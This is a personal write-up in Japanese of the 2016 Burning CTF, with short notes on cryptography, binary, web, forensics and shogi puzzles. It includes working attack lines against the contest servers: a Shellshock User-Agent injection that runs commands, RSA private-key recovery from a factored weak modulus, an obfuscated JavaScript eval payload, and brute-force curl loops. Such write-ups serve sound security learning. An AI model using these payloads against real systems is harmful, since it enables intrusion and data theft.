🔙 Back to Top

Mon Feb 8 00:39:25 JST 2016

場阿忍愚 (burning) CTF Writeup

http://burningctf.yamatosecurity.com/score/puzzle

cympfh:yuyushiki

メモとりながらやってたのでメモを晒します

練習

画像を繋げる

芸術

111

  1. 篆書体っぽい
  2. 大木口 世幾由?伊 (セキュリティ)

112

二進術

121

{spawn, exec} = require 'child_process'

child = spawn 'stdbuf', ['-o0', './121-calculation']
child.stdout.setEncoding 'utf-8'

child.stderr.on 'data', (data) ->
  console.warn 'stderr', data

buf = ''
child.stdout.on 'data', (data) ->
  console.log 'stdout', data
  buf += data
  if buf.indexOf('=') > -1
    x = Math.floor eval buf.replace /=/g, ''
    child.stdin.write (new Buffer("#{x}\n"))
    buf = ''

FLAG_5c33a1b8860e47da864714e042e13f1e

解読術

131

神戸牛

132

http://saizou.makibisi.net/sinobi/iroha.html

神代文字 (じんだいもじ) というやつで "やまといえは" とある. "山と言えば?" → "川"

133

秘密鍵と暗号化されたバイナリが渡されるから復号化せよというもの 原理的には素因数分解すればよい CTFだから、なんとか素因数分解が出来るものが渡されて、 適当なネットサービスを使えば実際にできる

[EKOPARTY PRE-CTF 2015] [Cry100 – RSA 2070] Write Up | 0x90r00t

にある手順を真似た.

    openssl rsa -noout -text -inform PEM -in public-key.pem -pubin
Public-Key: (640 bit)
Modulus:
    00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c:
    03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e:
    de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97:
    e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de:
    b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b:
    5a:74:d2:d0:06:f1
Exponent: 65537 (0x10001)

Modulus とあるものが、2つの素数の積. : で区切られているが、そのまま連結して16進数として読めばよい.

10進数へ変換

   ruby -e "p '$(openssl rsa -noout -text -inform PEM -in public-key.pem -pubin | grep '^ ' | tr -d ':' | tr -d '\n' | tr -d ' ')'.to_i 16"
3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609

これを素因数分解する. 先のwebページで使われてた通り www.factordb.com に投げてみた:

http://www.factordb.com/index.php?query=3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609

すると

の積と判明. ここから秘密鍵を作る.

   wget https://raw.githubusercontent.com/ius/rsatool/master/rsatool.py
   sudo apt-get install python-gmpy
   ./rsatool.py -p 1634733645809253848443133883865090859841783670033092312181110852389333100104508151212118167511579 -q 1900871281664822113126851573935413975471896789968515493666638539088027103802104498957191261465571 -o private.pem

で、復号化

   openssl rsautl -decrypt -inkey private.pem -in flag.txt
FLAG_IS_WeAK_rSA

134

攻撃術

141

src: http://sprunge.us/ABKI

# gen.rb
s = [
  'ls', 'echo', 'cat',
  '0', '1',
  '>', '<'
]

c = []
n = 1 + rand(100)
n.times {
  c << s[rand(s.length)]
}
puts c.join ' '
( for i in `seq 1000`; do ruby gen.rb; done; echo exit ) | nc 210.146.64.35 31337

なんかできた

142

src: http://sprunge.us/DWba 1. Yama 2. too

ソースを読むとあと3つ必要. ところで Yama too は "大和" と読める.

解析術

152

パケット見てるとPNGの文字列があったので、PNG画像自体がどこかにあると予想. 実際にひとつだけでかいパケットがある. その1つ前のパケットに、ヘッダの部分が紛れてるので連結しないとダメ. 実際にはその2つだけでは完全な画像は復元できなかったけど、 フラグを見るにはそれで十分.

  1. Wireshark でパケットをバイナリとして保存
  2. バイナリエディタでちょっと不要な箇所を削除
  3. concat して画像ファイルとする

153

耳コピすると x5kpPQJU x5kpBQJU のあとに small って聞こえる

154

strings すると removeme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0} ってある.

155

電網術

161

FLAG.tar

0400   50 4b 03 04 0a 00 00 00 00 00 6e 8a 1a 47 03 d9  PK........n..G..
0410   e4 2c 25 00 00 00 25 00 00 00 08 00 1c 00 66 6c  .,%...%.......fl
0420   61 67 2e 74 78 74 55 54 09 00 03 1f f5 dd 55 24  ag.txtUT......U$
0430   f5 dd 55 75 78 0b 00 01 04 f4 01 00 00 04 f4 01  ..Uux...........
0440   00 00 52 6b 78 42 52 33 74 59 56 45 6c 75 57 44  ..RkxBR3tYVEluWD
0450   59 35 62 6e 46 32 52 6d 46 76 52 58 64 33 54 6d  Y5bnF2RmFvRXd3Tm
0460   4a 39 43 67 3d 3d 0a 50 4b 01 02 1e 03 0a 00 00  J9Cg==.PK.......

base64 としてデコードして FLAG{XTInX69nqvFaoEwwNb}

162

http://burning.nsc.gr.jp/ flag={BasicIsNotSecure}

164

nmap -vv -dd -Pn 210.146.64.34 -p 1-10000 めっちゃ時間かかった.

5006番ポートが何に使われているのか調べてみたけれど、 wsm-server? とかいう意味不明なのが出てきただけだった.

   nc 210.146.64.34 5006
<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name.%

カエルの歌

   md5sum<<<'frog'
0c304e0781f354e686b38b18647afc18  -

は不正解. リダイレクトだと最後に改行が入るらしい

   echo frog | tr -d '\n' | md5sum
938c2cc0dcc05f2b68c4287040cfcf71  -

諜報術

173

images.google.com twanzphobic.wordpress.com

174

ヒントなしだとただのエスパー curl http://...pdf | strings で作者情報が偶然入ってた

記述術

181

O(n^2) でやったけど3分で終わったしまあいっか。

f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><

182

初め 10! 全通り試そうとしてブラウザが死んだので真面目に解いた 知らん記法が明らかにあるけどそこは勘

window["eval"]["call"]`${
[ (0O000101), (0b1001100), (101), 0x52, 0x54 ]
["map"](x=>String["fromCodePoint"](x))["join"]("")["toLowerCase"]() +"(1)"
}`;

183

1文字ずつを試すことで

member of "a" are 10
member of "b" are 0
member of "c" are 0
member of "d" are 9
member of "e" are 4
member of "f" are 9
member of "g" are 3
member of "h" are 3
member of "i" are 7
member of "j" are 2
member of "k" are 4
member of "l" are 1
member of "m" are 0
member of "n" are 6
member of "o" are 1
member of "p" are 0
member of "q" are 0
member of "r" are 8
member of "s" are 8
member of "t" are 0
member of "u" are 3
member of "v" are 0
member of "w" are 0
member of "x" are 5
member of "y" are 0
member of "z" are 0
member of "_" are 6
member of "{" are 1
member of "}" are 1

flag={X} とするとXに使う文字は

{ a:9, d:9, e:4, f:8, g:2, h:3, i:7, j:2, k:4, n:6, o:1, r:8, s:8, u:3, x:5, _:6 }

4文字くらいをいきなり探す

   for a in {a,d,e,f,g,h,i,j,k,n,o,r,s,u,x}{a,d,e,f,g,h,i,j,k,n,o,r,s,u,x}{a,d,e,f,g,h,i,j,k,n,o,r,s,u,x}{a,d,e,f,g,h,i,j,k,n,o,r,s,u,x}; do curl -s  "http://210.146.64.36:30840/count_number_of_flag_substring/?str=$a&count=count" | grep member | grep -v 'are 0'; done
<p>member of &quot;afiu&quot; are 1</p>
<p>member of &quot;afsf&quot; are 1</p>

ここから

PHRASE=$( for a in {a,d,e,f,g,h,i,j,k,n,o,r,s,u,x,_}$PHRASE; do curl -s  "http://210.146.64.36:30840/count_number_of_flag_substring/?str=$a&count=count" | grep member | grep -v 'are 0' | grep -o ';[^;]*&' | sed 's/^.\(.*\).$/\1/g'; done | head -1 ); echo $PHRASE

みたいにして1ずつ伸ばす

afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr

flag={} は無くてよかった

184

何重にも圧縮されているので解凍しまくる:

case $(file a) in
  *bzip2* )
    mv a flag.bz2
    bzip2 -d flag.bz2
    mv flag a
    ;;
  *tar* )
    mv a flag.tar
    tar xf flag.tar
    mv flag.txt a
    ;;
  *gzip* )
    mv a flag.gz
    gunzip -d flag.gz
    mv flag a
    ;;
  *Zip* )
    mv a flag.zip
    unzip flag.zip
    rm flag.zip
    mv flag.txt a
    ;;
  * )
    echo unknown: $( file a )
    ;;
esac

超文書転送術

191

生成された画像が http://210.146.64.47/movies/view/2827 みたいなurlで公開されてて http://210.146.64.47/movies/view/1 ってやると一番初めに生成された画像が取れる. 一瞬だけフラグが表示される動画GIFであって、 フレームへの分解を convert +adjoin 1 a.gif ってやる.

192

"About" のページを見ると

Since 2000 we Have offered some Effective training courses , which cover network, Linux, web applications and related Licenses, to Students in worldwide. Hopefully Our services help you understand the Core Knowlegde of technologies.

ってあって、大文字だけ読むと SHELLSHOCK となる.

curl -v  -H "User-Agent: () { :; }; /bin/ls" 'http://210.146.64.37:60888/exec' --data 'cmd=ss&option='
curl -v  -H "User-Agent: () { :; }; /bin/cat flag.txt" 'http://210.146.64.37:60888/exec' --data 'cmd=ss&option='

初め、 curl -A でやってたんだけどなんか上手く行かんかった 上のように -H "User-Agent: で動いた.

兵法術

普通の将棋みたいに、1マスをx座標、y座標で指定するのだが、 (x,y)を(x2,y2)に動かす時 x y x2 y2 と記述してフラグにするみたい. 持ち駒を(x,y)に打つ場合は x y.

201

4769

202

右下だけ数字のインデクシングで4と7が入れ替わっていたのでそのように

203

2手詰め 5456 4645 5747成

204

3手詰め 2636-4656-7766成-5645-3635